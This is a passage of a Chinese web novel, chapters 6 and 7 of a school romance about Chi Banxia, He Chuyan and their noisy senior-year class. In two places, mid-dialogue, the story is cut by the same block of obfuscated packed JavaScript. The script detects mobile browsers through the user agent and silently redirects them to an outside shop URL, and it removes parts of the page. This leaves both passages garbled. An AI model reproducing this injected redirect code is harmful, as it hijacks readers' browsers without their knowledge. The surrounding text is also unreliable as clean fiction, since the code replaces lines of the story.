就这么一会,这人还要半阖眼眸,跟睡不醒似的。 池半夏说:“阿衍,我很好奇一件事。” 贺初衍没睁眼:“说。” 池半夏问:“昨晚那些矫情话,是不是你从励志书里背出来的鸡汤金句?” 贺初衍睁眼,低低地笑了:“池半夏同学,你现在才反应过来?” 他从书包里拿出一本厚厚的砖头书。 ——教你成功走向巅峰:250计。 贺初衍递来:“要看么?” “……”池半夏说,“我才不看。” 这书怎么看怎么不靠谱。 关键是这书名,真不是在骂人吗? 到了一楼,池半夏从车库推出来小电驴,还在戴头盔时,就看到那道瘦削身影掠过车道,惊散一地树影斑驳。 他们虽住在隔壁,却一直走着两条道。 池半夏启动自己的小电驴。 一路是郁青林荫道,也不知道贺初衍今天怎么转性,拐到她这条道时,从侧方车道直直而下。 像俯冲的鹰。 距离在肉眼可见的缩近。 虽然知道肯定撞不上,池半夏身体条件反射占了上风,两手掐紧刹车,硬生生停在了原地。 身侧刮来一阵风,黑色山地车稳稳停在身侧。 贺初衍唇角勾起得逞的弧度,瞥她:“胆子这么小了?” 池半夏完全不想认怂,重新启动:“我这是出门安全第一,不像某人,上个学还要左拐右拐,别人还以为你在秀骑行障碍赛。” 贺初衍不紧不慢跟着小电驴。 池半夏偏偏碰上小电驴电量低的时候,不怎么好加速,只慢悠悠地晃荡。 贺初衍:“大小姐,你今儿转磨盘的驴不怎么好使啊?” 池半夏:“节能、环保。” “行,那您好好节能环保,南江今年的环保计划就靠您这样自觉的人实现。” 说完只是踏了两下。 山地车顿时滋啦滋啦作响。 池半夏抬眼看去。 那道瘦削身形越出一大截距离。 清晨阳光映亮乌黑发顶,头顶一簇呆毛支棱棱翘起,少年扭头看来时,阳光沥在恣意眉眼,白色衬衫被风吹鼓起。 “别在路上睡着了。” 眼前飞驰而过的身形,逐渐拉长模糊。 池半夏慢半拍反驳:“才不会睡着……” - 池半夏骑到北门,才发现今天风纪部在抽查仪容仪表。 中马尾,温莎领结,铭牌…… 池半夏突然脸色一僵。 翻遍了口袋和书包,都没有找到自己的铭牌。 她明明记得自己从房间里带出来了, 估计是出门时,不小心忘在玄关处的立柜上了。 门口在排队检查。 池半夏看了眼时间,再多耽误会时间不进去的话,就要迟到了。 今天是英语早读,班主任老李每天都会掐点抓迟到的学生。 实在不行,就只能让先扣两分,大不了她提交一个清扫包干区的报告,补回来就行。 只是刚下定决心。 “池半夏。” 池半夏下意识扭头。 一个物件直直朝她抛来。 池半夏伸手接到怀里,低头看是铭牌。 再抬眼。 贺初衍推着山地车进校门,直直走向迎检队伍。 池半夏只是粗略地看了眼。 除却抛给她的铭牌,过长的额发,没系紧的顶端纽扣,不翼而飞的温莎领结。 完全是大写的不合格。 那个男生显然认出了贺初衍,板正面容上露出几分迟疑。 贺初衍完全没有被抓包的慌张,神情懒散:“老李,高三一班的班主任李伟立李老师,通知我今天到教务部一趟。” 池半夏从旁边经过,刚好听到他说的这话。 已经保送的学生,归校自然不被校规限制。 也就是此时,池半夏骤然想起,贺初衍已经成为一名准大学生了。 这可能是她所剩无几在学校见到对方的时刻了。 - 池半夏一路爬上五楼,踩着早读铃声的前几秒,踏进教室,顿时生出终于安全的感觉。 回头看今天有没有倒霉蛋。 哦,身后还真有个贺倒霉蛋。 不紧不慢地迈进左脚。 然后早读铃声悲催地响起了。 守在门口的关子啸第一个大声通报:“今天的迟到幸运鹅诞生!” “卧槽,啸天,你还真是大义灭亲!” “贺哥,回来的第一份大礼,惊不惊喜意不意外!” “恭喜贺哥成为史上第一个以左脚踏进教室为由被通报迟到的人!” …… 七嘴八舌的起哄声。 贺初衍口吻懒怠道:“行啊,在这等着我惊喜是吧。” 关子啸脸上露出莫测的笑容:“这怎么能算惊喜呢?” 其他人也跟着起哄:“对啊对啊!” “也太小看我们了!” “让贺哥看看什么叫厉害的!” “三二一!” 愈加鼓噪火热的气氛下,池半夏本能地感觉到不对劲,想迈步撤离贺初衍方圆几米的危险区域。 却被手掌握住手臂。 甚至还把她扯近了小半步。 池半夏只来得及微微睁大眼眸。 “砰砰”的礼炮声在耳畔炸开,握着手臂使劲,她身形一时不稳,下意识抓住眼前的手臂。 伸来手掌护在头顶,挡住劈头盖脸砸了下来的礼花和糖果。 跟倒豆子似的,混着热烈恭喜声,起哄的口哨声,整个班吵成一团。 完全是尴尬的酷刑。 刚结束,池半夏烫手山芋般甩掉贺初衍的手臂。 贺初衍眉毛微拧,收回被砸红的手背。 瞥向众人的神情,要多嫌弃有多嫌弃,写满了是不是活腻味了。 “谁的主意?” 关子啸立马抛掉手里的透明机关线,卖起队友:“报告组织,是刘晟的主意!” 刘晟连忙摆手:“贺哥,明明主谋就是啸天,他这会又不承认了,而且我们选的糖,都是最轻的,还用啸天试验了,完全无害安全!” “你特么还好意思说这事!”关子啸顿时怒道,“都不带预告,差点被你们砸傻。” 转眼看到他衍哥抱着双臂,脸上写满:狗咬狗上了? 又换上讨好狗腿的笑容。 “阿衍,快进来快进来,也不知道老李今天怎么个回事,查迟到都不积极。” 贺初衍懒撩眼皮:“听起来很遗憾。” 关子啸揽住他的肩膀:“怎么会,你怎么这么想兄弟呢。” “噫。” “虚假。” 顿时众人被无情吐槽,这稀烂演技让人实在看不过眼。 关子啸把贺初衍直直往讲台上拐。 边拐边吐槽:“贺哥,我跟你说,得亏你回来了,昨晚华华在群里发了一张小测卷,凌晨一点啊,你说他是不是丧心病狂,我都要闭眼了,看到一下子支棱醒了。” “关键是特地狱、特变态,他还只给一个答案,连详解步骤都没有!” 池半夏坐回座位。 想起昨晚群里那个变态物理小测。 贺初衍昨晚走后,她就看到了。 只是没想到,一群潜水夜猫子竟然全被炸起来了。 经过两小时的鏖战后,班上全军覆没,找不出来一个满分的。 关子啸怂恿池半夏打电话给贺初衍求助,却惨遭拒绝。 池半夏表示,并不是很想招惹大少爷的起床气。 最后还是关子啸在众人的怂恿下,不怕死地打了二十个电话,都没有接通。 只能认命地带着求知欲含恨入睡。 关子啸恭敬地把椅子拉开。 贺初衍坐下。 打印出来的小测题,一路传到讲台。 贺初衍拿起看着。 关子啸在旁边狗腿地捶起肩膀。 贺初衍偏头瞥了眼:“没吃饭的劲,不如还是歇会?” 关子啸倒是习惯他的性子,不锤肩他倒还省力。 贺初衍起身拿起一截短粉笔,转身在黑板写起几步要点。 他的板书有些草,笔锋却极其漂亮,锋芒毕露。 众人看着,醍醐灌顶地打通思路。 “卧槽思路还能这样转!” “还是贺哥牛.逼!” 解决了心口抓挠的事情,刘晟又有了招猫遛狗的兴致。 “贺哥,你说要回来读高中,老李让班长传话来全班投票的时候,我们可是全票通过的。” 一中关于提前保送的规则,一向是不强制来校。 大部分都是默认离校自行安排。 特意申请继续读高中的,倒是第一次听说。 池半夏伸手戳了戳前桌后背:“什么投票,我怎么不知道?” “你没投吗?”陈文熙抬头,“哦,我想起来了,那天你不是午睡,班上就在搞投票,看你睡着了,啸天就帮你投了。” “后来啸天说不如给你个惊喜,你没问,班上也就没人提起。” 池半夏:“……” “真是谢谢你们啊。” “所以贺哥,怎么想着来申请读高三?” “在家里瘫着多无聊。”贺初衍把粉笔随手抛回去,双手撑在课桌,微微倾身,“不如招猫遛狗,笑看大家头悬梁锥刺股。” 底下的大家:“……” 提前报送本来就够拉仇恨了,本人还这么张狂嚣张。 还有没有人来管了??? 对于贺初衍的热烈欢迎,仅仅持续了一道物理变态小测题的时间。 话题急转直下。 班长周源竟率先发言:“事实证明,之前的决断是完全错误的,我觉得组织很有必要重新考虑一下。” 池半夏深以为然:“这明显是个极其错误的决断。” “堪比氯化氢长时间暴露在空气,对人体造成极度的伤害。” 池半夏抽出桌肚里借来的古代刑法大全:“众所周知,车裂作为古代极刑的一种,已有商君作为先驱者实验,只不过是要用五匹小小的马。” 刘晟:“没有马怎么办?” 周源竟:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634141|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无妨,放五只啸天。” 关子啸:“……”礼貌吗各位。 池半夏:“嗯,用五只啸天拴住某人的四肢,一声令下,朝着五个方向拉……” 贺初衍:“有没有一种可能,你们要谋害的对象,确实四肢健全,耳明目聪。” 池半夏:“也有没有一种可能,群众对你的怨念太深,是故意让你听到的。” 贺初衍:“周所周知,妄念只存在颅内高.潮的可行性。” 池半夏:“周所周知,群众的力量是巨大的。” “周所周知,上课要回位听讲。” “怎么有老李的声——” 刚刚还最闹腾的关子啸,扭头看到身后的李伟立,飞奔回座位,顿时正襟危坐。 一套动作行云流水,像是反复上演了数千次。 班上迅速安静下来。 李伟立瞥向课桌:“今儿刮什么邪风,贺老师您来讲课?要不我给您让座,让您讲一天讲个痛快?” 贺初衍慢悠悠起身:“那不能够,抢了老李您的饭碗怎么办?” 李伟立伸手一把拍到肩膀:“臭小子,还抢我的饭碗,你还嫩了点!” 贺初衍微皱眉头:“老李,你这下手忒黑。” 李伟立:“不然要我亲自扶你起来?” “不劳您费心。” 贺初衍刚走下台。 身后传来声音:“迟到的留下。” 完全没有停下的意思。 李伟立:“……” “贺初衍,给我回来。” 贺初衍这才转身回来:“老李,还有什么事?” “我不说你就打算当不知道是吧?”李伟立比少年矮半个头,视线还得往上仰视,“我刚刚在门口都听到了。” 底下的全班:“……” 都四十好几的人了,怎么还搞偷听这套。 李伟立说:“申请了归校,就要按一中的校规来,按一班的规矩来。” “老实到走廊外头罚站到上课进去。” “是。”贺初衍直接往外头走。 一大早就点燃怒气值的罪魁祸首,终于被惩治,班上起哄的笑声一直不停。 “笑什么笑,还挺热闹的?” 李伟立扭头,就朝着讲台下的学生们发问。 还在看热闹的众人:? “早读铃声这么大,都没听到响?”李伟立扫视一圈,“要不我下次拎着广播机,一个个放在你们耳边喊你们安静。” “看了这次的月考排名吗?都很满意是吗?你们语文平均分都快年级倒数了,光是今年,周老师已经第五次跟我说,你们古诗词默写空的空,错的错,每天拿出来你们十分钟对理综的上心程度,都不至于拿这么点分!” “还有同是尖子班,数学平均分比隔壁二班低了一分,刚开学那会,是怎么豪言壮语的,说要把二班重重踩到脚底?” “老李啊,嗓门小一点,都传到隔壁了,成绩第二友谊第一嘛。” 正巧隔壁班主任谌择平踱过窗边:“不过善意地提醒下,不是高一分,是高一点五分,咱们这么多年交情了,就不四舍五入了。” 李伟立:“……” 班上向来氛围好,刘晟也撒野惯了:“老班您放一万个心,您的私人恩怨,就是我们的私人恩怨!” 关子啸也说:“等着我们下次月考给您扳回一城!” “你们最好说到做到。”李伟立又指向关子啸,“关子啸尤其是你,别人古诗词默写写错,你整个乱编,周老师给我看卷子的时候,我这老脸都没地放!” “贺初衍,你监督他。” “老班,杀啸天焉用学神刀。”刘晟看热闹不嫌事大,“你这是太看得起啸天,还是太看不起学神。” 顿时吸引了火力:“刘晟,人有自己的名字!整天绰号来绰号去,你看你坐得歪歪斜斜,吊儿郎当的,成天像什么样子!” “老李开会去!” 五班的班主任,也是李伟立的红枣枸杞同盟,悠哉从门前经过,一把揽过他的肩膀。 “莫生气,大早上气别那么大,气出病来谁人替。” 李伟立被带着往前走,扭头不忘说:“贺初衍,下课来数学组一趟!” 班主任没走一会,早习的结束铃声就响了。 关子啸推着刘晟的肩膀出门,嘴上嚷着要下楼买汽水。 贺初衍没跟他们一起去,倒是懒懒倚在栏杆处,难得听老李的指示,说要等着上课再回去。 池半夏没抬头,只是听了一耳朵,继续手边的题册。 眼前被推来一张复印的模范作文,还有一盒精致包装的巧克力。 抬头,探去不解的目光。 “李老师让我复印一份作文给你。”陆慕齐解释,“还有上次麻烦你给我讲数学题,这个是谢礼。” “就是几道数学题而已,谢谢你的作文卷。”池半夏伸手,“至于巧克力——” 话还没说完。 手掌从斜侧横过来,把巧克力截胡。 “这巧克力太甜也太腻了。” 池半夏扭头看去。 那盒巧克力还在手心被颠了颠。 贺初衍斜靠在窗边,几分吊儿郎当地开口:“这位同学,如果我没认错。” “这好像是我的位置。” 关子啸几乎是踩着上课铃声回来,险些撞上突然停下的刘晟。 “没事刹什么车,知不知道很危——” 说着视线越过刘晟肩膀,看到窗边的三人。 莫名有种对峙的感觉。 尤其看到他贺哥那副嚣张张扬的模样。 关子啸骂刘晟的话,在嘴里绕了圈,下意识咽了下口水。 “靠,正宫的架势就是不一样。” 6. 打杂 关子啸站在原地,本来还想继续观察一下眼前的修罗场。 只可惜上课铃声越响越大。 贺初衍把手里巧克力一抛。 陆慕齐接到怀里,朝着池半夏看了眼,才朝着自己座位的方向回去。 关子啸特意关注了下,竟然还是池半夏最喜欢的口味。 嗯,一片心意在半路杀出的“贺咬金”作祟下,完全没能有机会送出去。 面对诱惑罕见无动于衷的池半夏,把作文卷放进了桌肚里,继续写起手边的题册。 而他贺哥一副正宫回宫的架势,施施然坐回自己的位置。 关子啸没能看到天雷勾地火的场面,遗憾地回位。 过了两秒,又不死心地扭头,用左手挡在唇边:“阿衍……” 贺初衍压根头都没抬:“上课,别吵。” 关子啸瞬间换了右手,往旁边挪了挪:“夏姐……” 池半夏右手没停笔,左手却伸进贺初衍斜搭在椅背的校服外套口袋,随意从里面拿出颗巧克力,准确地递到他面前。 关子啸顿时眉开眼笑:“夏姐大方啊!竟然送我最爱的榛果巧克……” 话音未落,眼前这只手迅速地缩回去。 关子啸:? 然后那只手再次塞进口袋里,换了颗牛奶味巧克力。 重新递到他面前。 意思很明显,吃了这颗巧克力,闭嘴好好转身回去上课。 关子啸显然没能明白这个动作的深意,至于他贺哥口袋里的巧克力,给他一万个胆子,他也不敢随便接。 于是按耐蠢蠢欲动的念头,又往池半夏那边凑了凑:“夏姐,刚刚——” 话音未落。 贺初衍拿起一本砖头厚的英语语法讲解,盖住越凑越近的脸,硬生生挡了回去。 书后传来关子啸不满的嘟囔声:“不想聊就不想聊嘛,又没问你,这么凶做什么……” 关子啸自讨没劲,撇了撇嘴,趴回到课桌。 此时身后传来说话声。 “什么宝贝,藏得那么严实?”传来贺初衍轻飘飘的声音,听起来满不在乎。 随后池半夏不以为意地回答:“你说作文卷啊。” 关子啸顿时竖起耳朵。 可无奈斜侧方几个同学锁喉叠罗汉地打闹起来,那声音跟杀鸡宰牛一样,严重影响他的偷听大业。 于是他灵机一动。 右边手肘稍稍动了动,不小心撞掉一块橡皮擦,状似不经意地弯腰下去。 这时候,他贺哥好像说了句什么,只听清作文卷三个字。 下一秒,听清池半夏的回答:“模范墙上不是有吗?再说了,少爷您什么时候对模范作文这么感兴趣了?” 关子啸听得兴头正起。 摸索的手指突然碰到一片温热。 定睛一看,那块橡皮已经被同桌捷足先登。 关子啸大惊:“你……也捡橡皮?” “嘘。”陈文熙眼里满是激动目光,“别吵,你明明撞掉的是我的橡皮。” 关子啸:“……”万万没想到,一个小小的橡皮,竟然成为两个人偷听的一致理由。 只是为什么…… “怎么没声了?”关子啸突然生出种不好的预感。 关子啸和陈文熙对视一眼,同时转头看去。 结果对上两道直直盯着他们的目光。 池半夏视线从他们手里移开:“你们同桌还挺友爱,一块橡皮都要同心协力地捡起来。” 贺初衍慢悠悠靠回座椅,要笑不笑的。 “需不需要给您们到医院挂个号,好好治疗一下脊椎侧弯的问题?” 陈文熙迅速卖队友:“我捡我的橡皮。” 握住橡皮,起身,埋头写题一条龙,丝毫看不出来半分心虚。 关子啸被抢了理由,一时词穷:“我……” 好在路上堵车的生物老师姗姗来迟,关子啸欲盖弥彰地嘟囔了句:“大家都好好上课。” 然后非常做贼心虚地转回身。 重新上课后,班上才重归安静。 - 一下课,关子啸就满血复活,从座位上窜了起来。 拉着贺初衍去数学组找老李了。 上课的点关子啸独自一人回来了,别人问起来,只是神秘一笑,怎么都不开口。 贺初衍倒是一去就是一节课。 第二节大课间,贺初衍人刚踏进班门,捷报早就已经传遍了整个一班。 贺初衍回到座位。 刘晟早已经等候多时,贱兮兮地发问:“哟,贺哥,这是谁招惹您这尊大佛了?” 贺初衍随意靠在椅背,冷笑:“大佛论不上,打杂长工还差不多。” 话音刚落,周源竟从旁边经过,拍了拍他的肩膀:“贺哥,听说你被老李狠狠白嫖了,被征用当班上的助教,负责晚自习答题,还要参与以后月考的批改。” 贺初衍:“……” 另一个同学也经过:“贺哥,听说你被征用当物竞组的吉祥物,那群竞赛生都说以后考前不用拿你光荣榜的照片拜了,直接拜本人就得了。” 贺初衍:“…………” 池半夏和陈文熙进班的时候,班上正热闹一片。 直接来到贺初衍身边,调侃道:“贺初衍同学,听说你要代理广播站部长三个月,采访一下,对此您有什么感想?” 贺初衍微抬下巴:“校方给出的理由是部长伤到了腿,暂时不方便进行接下来的活动,可我寻思播广播不是动嘴皮子么?” 在捂嘴旁边疯狂憋笑的关子啸,终于发出一声爆笑。 收获贺初衍一记冷冷眼刀。 关子啸立马解释:“这是整你……不是,这是能者多劳嘛!” 下一节是英语课。 英语老师刚站上讲台:“贺初衍。” 贺初衍对上这道目光,了然:“老师,您又有什么要事吩咐?” 英语老师微抿弯起的唇角:“我刚刚碰到你们班主任李老师,让我转告一件事,本来高三是不参与大部分活动的,可学校很重视这次校庆,作为校庆预热的黑板报活动……” 相当熟悉的套路。 他今早已经听过不下百八十回了。 贺初衍已经预料到了结局,薄薄唇角要掀不掀。 底下起哄的笑声不停。 果然下一秒,英语老师忍着笑:“经高三组全体老师商量,决定由贺初衍担任这次高三组黑板报活动的代表。” 关子啸看热闹不嫌事大,也举手:“老师我也来!” “啸天你会画黑板报吗?就这么来劲!” “还有那狗爬字,啸天你板书也够呛啊!” 关子啸:“重在参与!为校努力!” 至于贺大少爷的意见,无人问津。 一下课,贺初衍就被关子啸拐出了门。 贺初衍没什么好脸色:“赶着去投胎?” “赶着去雅艺楼。”关子啸说,“这次黑板报可以请外援,我跟你说高一有个学美术的小学妹……” “……”贺初衍回过味,“啸天,你献殷勤,浪费我时间是吧?” “阿衍,此言差矣,你现在最不值钱的不就是时间吗?”关子啸瞥着贺初衍脸色,话锋一转,“不过是借用您万分珍贵的时间中的那么一点点。” 贺初衍直接往回走。 关子啸跟着:“阿衍,我那个妹妹你还记得吗?” 贺初衍口吻不甚在意:“你那么多个妹妹,我哪记得?” “就是我那个表妹。”关子啸连忙说“亲妈是附中那个金牌作文讲师。” 贺初衍:“继续。” 关子啸:“你去集训前,不是想给夏姐约私教课吗?” 贺初衍:“不是说没了?” 关子啸挤眉弄眼:“我最近打听到,好像有一个名额的空缺。” 贺初衍偏头瞥他。 关子啸:“阿衍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634142|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑板报?” 贺初衍揽过关子啸肩膀,重新转身回去,唇角勾起愉悦弧度:“我们啸天头次提小小的要求,做长辈的,怎么能不支持? 关子啸:“……” 顽强地反驳:“不是长辈,是兄弟。” 贺初衍伸手直朝关子啸的脑袋,完全是乱薅狗毛发的手法。 “乖,知道了,这事你只管放心就成。” 关子啸:“……” 只不过短短一句话,就从小辈变成了狗,被恶势力剥夺了做人的权利。 - 二楼英语组。 角落摆满了白花花的听力材料。 英语老师姓褚,今年二十八岁,很年轻靓丽的长相。 可从嘴里说出的话却无比的地狱:“从下周开始,高三早读提前十分钟到校,借用早读十分钟时间,增加一次听力练习,这是早晚各一次的英语听力材料,班上每人两份。” 池半夏和陈文熙半蹲在一起,数了一遍全班的数量,一人一半抱了起来。 “老师,我们先走了。” “去吧,路上小心。” 走出被空调冷气浸透的办公室,池半夏被陈文熙撞了撞肩膀。 池半夏往旁边看去,对上一双闪烁着八卦的眼睛。 “笑这么诡异干什么?” 陈文熙:“我这是求知的目光。” 池半夏:“……” 陈文熙:“我听说,学校挺看重这次黑板报的,雅艺楼的那群美术生们都出动了,说是协助高三一起办好这次校庆的黑板报活动。” 池半夏:“学校还真是大手笔。” “对啊。”陈文熙说,“而且我还听说,高一有个学美术的小学妹,长得可甜了,脸颊还有个小梨涡,其他班的都争着抢来着。” 池半夏不怎么在意:“怎么突然说这个?” “我听啸天也说要去……”陈文熙嘴里的话顿时刹住了车,转而迂回地问,“你说贺初衍高三这么闲,就不会生出点风花雪月的想法?” “还风花雪月呢,这四个字你不是抬举贺初衍吗?”池半夏吐槽,“他心里只有他的物理、改装山地车、单反和球鞋。” 陈文熙:“……”这对冤家时刻找准机会互怼的人设不倒。 池半夏朝着走廊的窗外看去:“哦,还有篮球。” 陈文熙也看:“在看什么?” 池半夏看了圈,也没有在熟悉的球场位置,看到那道张扬肆意的身影。 “稀奇,这人今天竟然不耍帅了……” 广播突然传来一串滋啦电流声。 熟悉的清嗓子声音。 池半夏莫名有种不好的预感:“你有没有觉得这声音很耳熟?” 陈文熙点了点头。 “在教导主任和高三一班班主任的盛情邀请下,本人即日开始担任一中英语日特别活动的广播员。” 明显是贺初衍的声音。 贺初衍:“有一天螃蟹A横着路走出去,不小心撞到另一只螃蟹B。螃蟹B很生气地质问他:你是不是瞎。螃蟹A:我是螃蟹,不是虾。螃蟹B认为这是没及时还钱,所以螃蟹A找他的茬。可惜这年头欠钱的是大爷,理不直气更壮。于是两螃扭打在一起。”* 陈文熙:“?”这种吊儿郎当的语调,说这种冰窖冷笑话是认真的吗? 池半夏:“??”这是终于在全校友爱亲切(被“恶势力”使唤版长工)的环境下病情恶化了吗? 贺初衍:“突然螃蟹A上火流了鼻血。” “螃蟹B大惊,以为自己下了重手,大叫:快打幺二零。” “螃蟹A颤颤巍巍看着手指沾上的鼻血,也大叫:俺不能死,ambulance,名词n.中译:救护车;动词v.中译:用救护车运送病人。”* 陈文熙:“……” 池半夏:“…………” 全校:“………………” 卧槽,知识以一种歹毒的方式入了脑! 7. 错意 她们拿回来的英语材料被放到讲台上。 陈文熙宣布了高三听力练习在早习多加一次的噩耗。 顿时有人哀嚎:“这是要大甩卖批发啊?” “学校真是毫无人性,早读还要提前十分钟,这简直是要我的命啊!” “晕晕沉沉的罪恶早读,脑袋都要小鸡啄米点地,真不知道是我听听力,还是听力听我!” …… 她们发完听力材料。 池半夏刚回座,突然想到了什么,伸手戳了戳陈文熙的后背。 “哎,你之前说的那个作文辅导班。” 陈文熙朝她眨眨眼:“你怎么突然就有兴趣了?不是说这辈子绝对绝对绝对不会折服万恶资本的应试作文吗?” 池半夏说:“那已经是昨天的我了,今天的我已经改变了想法。” “你这个叫什么主义,就是政治里说的那个什么……” 陈文熙从仅学了一年不到的政治知识里挖索了会,也没能想起来,干脆直接斩除麻烦根,拍了拍肩膀:“刚好周三晚习有课,找老李批个假条,我带你去试听。” 池半夏点了点头:“好。” 没过两分钟,关子啸从后门窜进来,就开始一个劲炫耀。 “告诉大家一个重大消息,在我和贺哥的盛情邀请下,雅艺楼学美术的孟思様小学妹,成功加入我们黑板报活动的大家庭!” 刚刚还在哀嚎的男生们,又开始起哄。 “啸天你这动作够迅速!” “这才多久啊!” 转眼看到从后门进来的贺初衍,顿时七嘴八舌,说什么的都有。 “是不是小学妹也被贺哥的英语角才华折服了?” “当时刘晟就在喝水,听到那句螃蟹B大叫俺不能死,直接一口水喷了班长一桌。” “班长还在揍他,结果黄旸昊直接笑得像狗一样在地上爬!” “你才笑得像狗一样爬!” “哎哎哎,轻点,不是狗不是狗,是蜈蚣好了吧!” “信不信我跟你拼了!” “啸天,老实交代,你是动用了自己这张长城厚脸皮,还是出卖了贺哥的美色?” “贺哥的美色,你这词用得笑死。” “怎么了,我们贺哥这脸这身段,要是个女生,那简直是美艳大长腿御姐,妥妥的惊天动地女神范!” 贺初衍飞抛了本化学练习册过去,笑骂:“恶不恶心?” 那个起哄得最来劲的男生,稳稳抱住练习册,跟抱住什么宝物似的,笑得一脸贼兮兮:“学神给我的定情信物,待我好好研习一下题册秘籍,来日称霸学林!” 贺初衍微抬下巴:“正好多学点啸天的题册,下次争取跟他荣争一下倒数之巅。” 那男生闻言,跟扔烫手山芋一样,扔到一旁的课桌上。 关子啸被嫌弃了,瞬间锁喉,用着义正言辞的理由报复:“没想到你小子竟然对我贺哥心怀不轨,快快受死!” 身旁一群男生纷纷叠罗汉起来,打闹一团。 陈文熙嫌弃地说:“男生好无聊。” 池半夏也说:“也好幼稚。” 上课铃声响起的时候,关子啸总算从混战里脱身,转身就问:“阿衍,下午放课?” 陈文熙默默凑近:“你们对什么暗号呢?” 关子啸伸手不留情地挡了回去:“大人的事,小孩子家家别多问。” 陈文熙嘟囔:“小气,我也不想知道。” 关子啸又叫了句:“阿衍。” 贺初衍压根没抬头:“听到了,别吵。” 关子啸嘿嘿笑了两声,满意回头。 池半夏抬头,往旁边瞥了眼。 正对上贺初衍的目光:“要巧克力?” “不要。”池半夏低头,继续写起手边的题册。 池半夏提前跟午托发了消息,午休跟陈文熙在一家新开的牛肉面店吃饭。 还在等餐的时候,看到陈文熙一直低着头。 池半夏一眼看到可爱棕色兔子的头像:“你在聊什么?” 陈文熙抬头:“我在跟小学妹聊天。” 池半夏有点震惊地问:“你什么时候加上的?” 陈文熙有些开心地说:“就刚刚,是她主动加我的,她不是要来我们班帮忙嘛,好像有些害羞认生,让我给她讲讲班上的情况。” “而且我也喜欢可爱小学妹嘛。” - 下午第三节课结束,池半夏被陈文熙拉着去老李办公室批请假条。 李伟立对于池半夏态度的转变,假条批得是相当爽快。 还相当欣慰地拍了拍她的肩膀:“不错不错,我们班语文的顽固钉子户同学,终于知道要上心一点了,学学作文多好,既锻炼个人的表达能力,还能培养思辨能力……” 池半夏看着老李唠叨得又大有口若悬河之势,连忙说:“李老师,马上就要上自习课了。” 李伟立这才想起来,不紧不慢地抿了几口热腾腾的红枣枸杞水,朝她们摆了摆手。 “快回去吧。” 池半夏和陈文熙从办公室里走出来的时候,都有种劫后余生的庆幸感。 边走边说。 陈文熙:“还好你反应快,真让老李唠叨起来,一节自习课都不够他发挥的。” 池半夏:“确实,让老李当个数学老师真的屈才,营销成功学讲师的大舞台,等着他去大显身手。” 绕过拐角的时候,陈文熙突然紧拽住她的手腕,还急促地晃了两下,一副极其激动的模样。 池半夏下意识问:“怎么了?” “嘘。”陈文熙声音是盖不住的兴奋,“快看快看!” 池半夏循着目光看去。 对面教学楼的一楼。 黄昏阳光在走廊落着一地粼粼醺色。 少年乌黑额发被风轻扬,优越肩颈被勾勒圈浅金色的轮廓,侧脸背光,左手臂弯抱着棕红色的篮球,漫不经心地勾唇。 身旁站着个娇小女生,比他矮了整整一个头,笑起来很甜美的长相,漂亮的齐耳短发,细软发质,看起来毛茸茸的。 上课铃声突然响起,池半夏匆匆挪开目光,拉着陈文熙就往教室赶。 被拉着狂奔的陈文熙:“哎,你这么急干什么,下节自习课,又没人记迟到。” “是哦。”池半夏突然反应过来,“那我们慢慢回去。” 走出这么一段路,陈文熙还完全是陷入八卦的状态。 “那个应该就是雅艺楼的梨涡小学妹了,笑起来真的很甜啊。” “贺初衍真的不愧他b王的称号,这么可爱的小学妹在面前,完全不动如山。” “半夏,你觉得像不像是在拍校园偶像剧?” “是有点像那么回事。”池半夏撇了撇嘴,“就是男主角需要换人。” 陈文熙撞了撞她的肩膀,笑得一脸八卦:“你是不是……” “不是。”池半夏想都不想否认,直直往前走,“贺初衍也就那张脸看得过眼,当校园偶像剧男主还是太抬举他了。” 陈文熙跟上去:“真的只有一张脸吗?” 池半夏实话实说:“物理确实逆天。” 陈文熙又说:“好像也不止物理吧。” 池半夏不情不愿地说:“行吧,篮球也看得过眼,人缘也还不错。” 陈文熙刻意拖长了尾音:“哦,原来还有篮球和人缘啊。” 池半夏偏头,目光威胁:“陈文熙,你到底是谁的朋友?” “你当然是我最亲爱的半夏宝贝,半夏老婆了。”陈文熙亲昵地挽住她的手臂,“我就是随便八卦一下嘛。” 池半夏哼了声:“有这时间,还不如多写一套数学卷。” 陈文熙无奈摇头:“你对数学真的是真爱。” “我待数学如初恋。”池半夏得意,“当然数学也爱我爱得要死要活。” 陈文熙:“……”果然对一个数学脑说这些,还是太超前了。 自习课。 陈文熙和一组数学题艰难大战八百回合,对完答案后,终于长呼一口气。 还好伤亡没有她想象中那么惨烈。 结果回头一看,她后桌的战果相当的震撼。 上自习课前还是第9组题,现在已经做到了第11组。 都是一个脑子,一本习题册,怎么人和人的差别这么大呢。 陈文熙难以置信地问:“你这?吃大力水手的菠菜了?” 池半夏说:“没有,只是和我深爱的数学,来了次灵与肉的碰撞。” 陈文熙:“……” 就在她们说话的短短数十秒内,她已经大致对了遍答案,竟然是全对! 陈文熙彻底自闭了,转身趴到座位,把自己默默缩成了一小团。 这个变态的世界,她这个正常人好无助好可怜。 池半夏第11组数学题做了两道,就被她收起来了,转而拿了套物理小练。 做到下课铃声响起,转头一看,贺初衍的位置竟然还是空的。 也不知道去哪鬼混了。 结果发现这本题册的答案被她忘在家里。 于是扔进了贺初衍的桌肚。 反正这种闲得慌的免费劳动力,不用白不用。 - 